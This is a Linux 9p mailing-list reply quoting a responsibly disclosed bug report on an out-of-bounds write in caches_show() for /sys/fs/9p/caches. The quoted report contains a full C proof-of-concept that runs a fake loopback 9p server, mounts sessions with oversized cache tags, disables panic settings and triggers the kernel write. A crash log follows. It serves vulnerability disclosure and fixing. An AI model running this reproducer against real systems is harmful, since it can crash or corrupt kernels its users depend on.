Linux 9p file system development
 help / color / mirror / Atom feed
From: Dominique Martinet <asmadeus@codewreck.org>
To: Ren Wei <n05ec@lzu.edu.cn>
Cc: ericvh@kernel.org, lucho@ionkov.net, linux_oss@crudebyte.com,
	rpembry@gmail.com, yuantan098@gmail.com, zcliangcn@gmail.com,
	bird@lzu.edu.cn, zzhan461@ucr.edu, v9fs@lists.linux.dev
Subject: Re: [PATCH 0/1] 9p: caches_show() out-of-bounds write
Date: Sun, 21 Jun 2026 07:16:16 +0900	[thread overview]
Message-ID: <ajcRMMkrOyaKyv0n@codewreck.org> (raw)
In-Reply-To: <cover.1781908090.git.zzhan461@ucr.edu>

Ren Wei wrote on Sat, Jun 20, 2026 at 11:53:02PM +0800:
> From: Zhao Zhang <zzhan461@ucr.edu>
> 
> Hi Linux kernel maintainers,

There's no reason not to send that to the list (it requires privileges
as you said), so quoting in full with v9fs@ in cc

(I see you also sent a patch, I don't consider this a priority so will
look at it more closely after the merge window; there's another similar
fix for the v9fs tag show being discussed right now)

> We found an issue in fs/9p/v9fs.c.
> The bug is reachable by a privileged user with permission to mount 9p filesystems.
> The relevant details are provided below.
> 
> ---- details below ----
> 
> Bug details:
> 
> The bug is in `caches_show()` for `/sys/fs/9p/caches`.
> 
> That function iterates the global 9p session list and appends each
> session's `cachetag` into the sysfs buffer with:
> 
> `snprintf(buf + count, limit, "%s\n", v9ses->cachetag)`
> 
> It then advances:
> 
> `count += n;`
> `limit -= n;`
> 
> This is incorrect because `snprintf()` returns the full would-have-been
> length, not the number of bytes actually stored. Once the accumulated
> cache-tag output exceeds `PAGE_SIZE`, `count` advances past the end of
> the sysfs buffer and `limit` becomes negative.
> 
> A later iteration then passes an out-of-bounds destination pointer and a
> large `size_t` converted from the negative `limit` into `snprintf()`,
> leading to an out-of-bounds write in the sysfs show path.
> 
> In practice this is reachable when `CONFIG_9P_FSCACHE` is enabled and a
> privileged user mounts enough 9p instances with long `cachetag=` values
> before reading `/sys/fs/9p/caches`.
> 
> Reproducer:
> 
> cc -x c -O2 -static -o mini_poc.bin mini_poc
> ./mini_poc.bin
> 
> 
> We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
> 
> ------BEGIN PoC------
> 
> #define _GNU_SOURCE
> 
> #include <arpa/inet.h>
> #include <errno.h>
> #include <fcntl.h>
> #include <signal.h>
> #include <stdint.h>
> #include <stdio.h>
> #include <stdlib.h>
> #include <string.h>
> #include <sys/mount.h>
> #include <sys/socket.h>
> #include <sys/stat.h>
> #include <sys/types.h>
> #include <sys/wait.h>
> #include <time.h>
> #include <unistd.h>
> 
> #define PORT 5640
> #define MOUNTS 19
> #define TAG_FILL 211
> 
> enum {
> 	P9_RLERROR = 7,
> 	P9_TGETATTR = 24,
> 	P9_RGETATTR = 25,
> 	P9_TVERSION = 100,
> 	P9_RVERSION = 101,
> 	P9_TATTACH = 104,
> 	P9_RATTACH = 105,
> 	P9_TFLUSH = 108,
> 	P9_RFLUSH = 109,
> 	P9_TCLUNK = 120,
> 	P9_RCLUNK = 121,
> };
> 
> static const char version_str[] = "9P2000.L";
> static const uint64_t p9_stats_mask = 0x7ffULL | 0x1000ULL;
> 
> static void put_le16(unsigned char *p, uint16_t v)
> {
> 	p[0] = v & 0xff;
> 	p[1] = (v >> 8) & 0xff;
> }
> 
> static void put_le32(unsigned char *p, uint32_t v)
> {
> 	p[0] = v & 0xff;
> 	p[1] = (v >> 8) & 0xff;
> 	p[2] = (v >> 16) & 0xff;
> 	p[3] = (v >> 24) & 0xff;
> }
> 
> static void put_le64(unsigned char *p, uint64_t v)
> {
> 	put_le32(p, (uint32_t)v);
> 	put_le32(p + 4, (uint32_t)(v >> 32));
> }
> 
> static uint16_t get_le16(const unsigned char *p)
> {
> 	return (uint16_t)p[0] | ((uint16_t)p[1] << 8);
> }
> 
> static uint32_t get_le32(const unsigned char *p)
> {
> 	return (uint32_t)p[0] |
> 	       ((uint32_t)p[1] << 8) |
> 	       ((uint32_t)p[2] << 16) |
> 	       ((uint32_t)p[3] << 24);
> }
> 
> static ssize_t read_full(int fd, void *buf, size_t len)
> {
> 	size_t off = 0;
> 
> 	while (off < len) {
> 		ssize_t ret = read(fd, (char *)buf + off, len - off);
> 
> 		if (ret == 0)
> 			return off;
> 		if (ret < 0) {
> 			if (errno == EINTR)
> 				continue;
> 			return -1;
> 		}
> 		off += ret;
> 	}
> 
> 	return off;
> }
> 
> static int write_full(int fd, const void *buf, size_t len)
> {
> 	size_t off = 0;
> 
> 	while (off < len) {
> 		ssize_t ret = write(fd, (const char *)buf + off, len - off);
> 
> 		if (ret < 0) {
> 			if (errno == EINTR)
> 				continue;
> 			return -1;
> 		}
> 		off += ret;
> 	}
> 
> 	return 0;
> }
> 
> static int send_reply(int fd, uint8_t type, uint16_t tag,
> 		      const void *payload, uint32_t payload_len)
> {
> 	unsigned char hdr[7];
> 
> 	put_le32(hdr, 7 + payload_len);
> 	hdr[4] = type;
> 	put_le16(hdr + 5, tag);
> 	if (write_full(fd, hdr, sizeof(hdr)) < 0)
> 		return -1;
> 	if (payload_len && write_full(fd, payload, payload_len) < 0)
> 		return -1;
> 	return 0;
> }
> 
> static int send_lerror(int fd, uint16_t tag, uint32_t err)
> {
> 	unsigned char payload[4];
> 
> 	put_le32(payload, err);
> 	return send_reply(fd, P9_RLERROR, tag, payload, sizeof(payload));
> }
> 
> static int handle_client(int fd)
> {
> 	static const unsigned char root_qid[13] = {
> 		0x80, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
> 		0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
> 	};
> 
> 	for (;;) {
> 		unsigned char hdr[7];
> 		unsigned char payload[8192];
> 		uint32_t size;
> 		uint8_t type;
> 		uint16_t tag;
> 
> 		if (read_full(fd, hdr, sizeof(hdr)) != sizeof(hdr))
> 			return 0;
> 
> 		size = get_le32(hdr);
> 		type = hdr[4];
> 		tag = get_le16(hdr + 5);
> 		if (size < sizeof(hdr) || size - sizeof(hdr) > sizeof(payload))
> 			return -1;
> 		if (read_full(fd, payload, size - sizeof(hdr)) !=
> 		    (ssize_t)(size - sizeof(hdr)))
> 			return -1;
> 
> 		switch (type) {
> 		case P9_TVERSION: {
> 			unsigned char out[4 + 2 + sizeof(version_str) - 1];
> 			uint32_t msize = 8192;
> 
> 			if (size >= 11)
> 				msize = get_le32(payload);
> 			put_le32(out, msize);
> 			put_le16(out + 4, sizeof(version_str) - 1);
> 			memcpy(out + 6, version_str, sizeof(version_str) - 1);
> 			if (send_reply(fd, P9_RVERSION, tag, out, sizeof(out)) < 0)
> 				return -1;
> 			break;
> 		}
> 		case P9_TATTACH:
> 			if (send_reply(fd, P9_RATTACH, tag,
> 				       root_qid, sizeof(root_qid)) < 0)
> 				return -1;
> 			break;
> 		case P9_TGETATTR: {
> 			unsigned char out[153];
> 			uint64_t now = (uint64_t)time(NULL);
> 			uint64_t vals[] = {
> 				2, 0, 0, 4096, 0,
> 				now, 0, now, 0, now, 0, now, 0, 1, 1,
> 			};
> 			size_t off = 0;
> 			size_t i;
> 
> 			memset(out, 0, sizeof(out));
> 			put_le64(out + off, p9_stats_mask);
> 			off += 8;
> 			memcpy(out + off, root_qid, sizeof(root_qid));
> 			off += sizeof(root_qid);
> 			put_le32(out + off, 040755);
> 			off += 4;
> 			put_le32(out + off, 0);
> 			off += 4;
> 			put_le32(out + off, 0);
> 			off += 4;
> 			for (i = 0; i < sizeof(vals) / sizeof(vals[0]); i++) {
> 				put_le64(out + off, vals[i]);
> 				off += 8;
> 			}
> 			if (send_reply(fd, P9_RGETATTR, tag, out, sizeof(out)) < 0)
> 				return -1;
> 			break;
> 		}
> 		case P9_TCLUNK:
> 			send_reply(fd, P9_RCLUNK, tag, NULL, 0);
> 			return 0;
> 		case P9_TFLUSH:
> 			if (send_reply(fd, P9_RFLUSH, tag, NULL, 0) < 0)
> 				return -1;
> 			break;
> 		default:
> 			if (send_lerror(fd, tag, 95) < 0)
> 				return -1;
> 			break;
> 		}
> 	}
> }
> 
> static void server_loop(void)
> {
> 	struct sockaddr_in addr;
> 	int one = 1;
> 	int listen_fd;
> 
> 	listen_fd = socket(AF_INET, SOCK_STREAM, 0);
> 	if (listen_fd < 0)
> 		_exit(1);
> 	setsockopt(listen_fd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
> 
> 	memset(&addr, 0, sizeof(addr));
> 	addr.sin_family = AF_INET;
> 	addr.sin_port = htons(PORT);
> 	addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
> 	if (bind(listen_fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
> 		_exit(1);
> 	if (listen(listen_fd, 16) < 0)
> 		_exit(1);
> 
> 	for (;;) {
> 		int client_fd = accept(listen_fd, NULL, NULL);
> 
> 		if (client_fd < 0) {
> 			if (errno == EINTR)
> 				continue;
> 			_exit(1);
> 		}
> 		handle_client(client_fd);
> 		close(client_fd);
> 	}
> }
> 
> static int write_text(const char *path, const char *text)
> {
> 	int fd = open(path, O_WRONLY);
> 	size_t len = strlen(text);
> 
> 	if (fd < 0)
> 		return -1;
> 	if (write_full(fd, text, len) < 0) {
> 		close(fd);
> 		return -1;
> 	}
> 	close(fd);
> 	return 0;
> }
> 
> static void cleanup_mounts(const char *base)
> {
> 	char mp[128];
> 	int i;
> 
> 	for (i = 1; i <= MOUNTS; i++) {
> 		snprintf(mp, sizeof(mp), "%s/mnt.%d", base, i);
> 		umount2(mp, MNT_DETACH);
> 	}
> }
> 
> static int mount_sessions(const char *base)
> {
> 	char mp[128];
> 	char tag[4 + TAG_FILL + 1];
> 	char opts[512];
> 	int i;
> 
> 	for (i = 1; i <= MOUNTS; i++) {
> 		snprintf(mp, sizeof(mp), "%s/mnt.%d", base, i);
> 		mkdir(mp, 0755);
> 		snprintf(tag, sizeof(tag), "%03d_", i);
> 		memset(tag + 4, 'A', TAG_FILL);
> 		tag[sizeof(tag) - 1] = '\0';
> 		snprintf(opts, sizeof(opts),
> 			 "trans=tcp,port=%d,version=9p2000.L,cache=fscache,cachetag=%s",
> 			 PORT, tag);
> 		if (mount("127.0.0.1", mp, "9p", 0, opts) < 0) {
> 			perror("mount");
> 			return -1;
> 		}
> 	}
> 
> 	return 0;
> }
> 
> static int dump_caches(void)
> {
> 	char buf[4096];
> 	int fd;
> 
> 	fd = open("/sys/fs/9p/caches", O_RDONLY);
> 	if (fd < 0) {
> 		perror("open");
> 		return -1;
> 	}
> 
> 	for (;;) {
> 		ssize_t ret = read(fd, buf, sizeof(buf));
> 
> 		if (ret == 0)
> 			break;
> 		if (ret < 0) {
> 			perror("read");
> 			close(fd);
> 			return -1;
> 		}
> 		if (write_full(STDOUT_FILENO, buf, ret) < 0) {
> 			close(fd);
> 			return -1;
> 		}
> 	}
> 
> 	close(fd);
> 	return 0;
> }
> 
> int main(void)
> {
> 	const char *base = "/tmp/v9fs-caches-poc";
> 	pid_t child;
> 	int status = 1;
> 
> 	if (geteuid() != 0) {
> 		fprintf(stderr, "run as root\n");
> 		return 1;
> 	}
> 
> 	mkdir(base, 0755);
> 	cleanup_mounts(base);
> 	write_text("/proc/sys/kernel/panic_on_warn", "0\n");
> 	write_text("/proc/sys/kernel/panic_on_oops", "0\n");
> 
> 	child = fork();
> 	if (child < 0) {
> 		perror("fork");
> 		return 1;
> 	}
> 	if (child == 0)
> 		server_loop();
> 
> 	sleep(1);
> 	if (mount_sessions(base) == 0 && dump_caches() == 0)
> 		status = 0;
> 
> 	cleanup_mounts(base);
> 	kill(child, SIGTERM);
> 	waitpid(child, NULL, 0);
> 	return status;
> }
> 
> 
> ------END PoC--------
> 
> ----BEGIN crash log----
> 
> [  312.177878][T10660] Kernel panic - not syncing: kernel: panic_on_warn set ...
> [  312.178459][T10660] CPU: 0 UID: 0 PID: 10660 Comm: cat Not tainted 7.0.0-08308-g9e1e9d660255 #1 PREEMPT(full)
> [  312.181692][T10660]  check_panic_on_warn+0x61/0x80
> [  312.182076][T10660]  __warn+0xe8/0x330
> [  312.189425][T10660] RIP: 0010:vsnprintf+0xbfb/0x1180
> [  312.192016][T10660] RDX: 1ff400000138ef52 RSI: ffffffffffffff4d RDI: ff1100006f9850b3
> [  312.195689][T10660]  snprintf+0xaa/0xe0
> [  312.197121][T10660]  caches_show+0x79/0xe0
> [  312.197845][T10660]  sysfs_kf_seq_show+0x1bd/0x380
> [  312.198611][T10660]  seq_read_iter+0x40f/0x11f0
> [  312.200066][T10660]  vfs_read+0x6cd/0xb70
> [  312.203264][T10660]  ksys_read+0xf9/0x1d0
> [  312.204639][T10660]  do_syscall_64+0x116/0xf80
> [  312.205311][T10660]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
> 
> 
> -----END crash log-----
> 
> Best regards,
> Zhao Zhang
> 
> 
> Zhao Zhang (1):
>   9p: v9fs: fix caches_show() out-of-bounds write
> 
>  fs/9p/v9fs.c | 16 +++++-----------
>  1 file changed, 5 insertions(+), 11 deletions(-)
> 

-- 
Dominique Martinet | Asmadeus

      parent reply	other threads:[~2026-06-20 22:16 UTC|newest]

Thread overview: 2+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
     [not found] <cover.1781908090.git.zzhan461@ucr.edu>
2026-06-20 15:53 ` [PATCH 1/1] 9p: fix caches_show() out-of-bounds write Ren Wei
2026-06-20 22:16 ` Dominique Martinet [this message]

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=ajcRMMkrOyaKyv0n@codewreck.org \
    --to=asmadeus@codewreck.org \
    --cc=bird@lzu.edu.cn \
    --cc=ericvh@kernel.org \
    --cc=linux_oss@crudebyte.com \
    --cc=lucho@ionkov.net \
    --cc=n05ec@lzu.edu.cn \
    --cc=rpembry@gmail.com \
    --cc=v9fs@lists.linux.dev \
    --cc=yuantan098@gmail.com \
    --cc=zcliangcn@gmail.com \
    --cc=zzhan461@ucr.edu \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox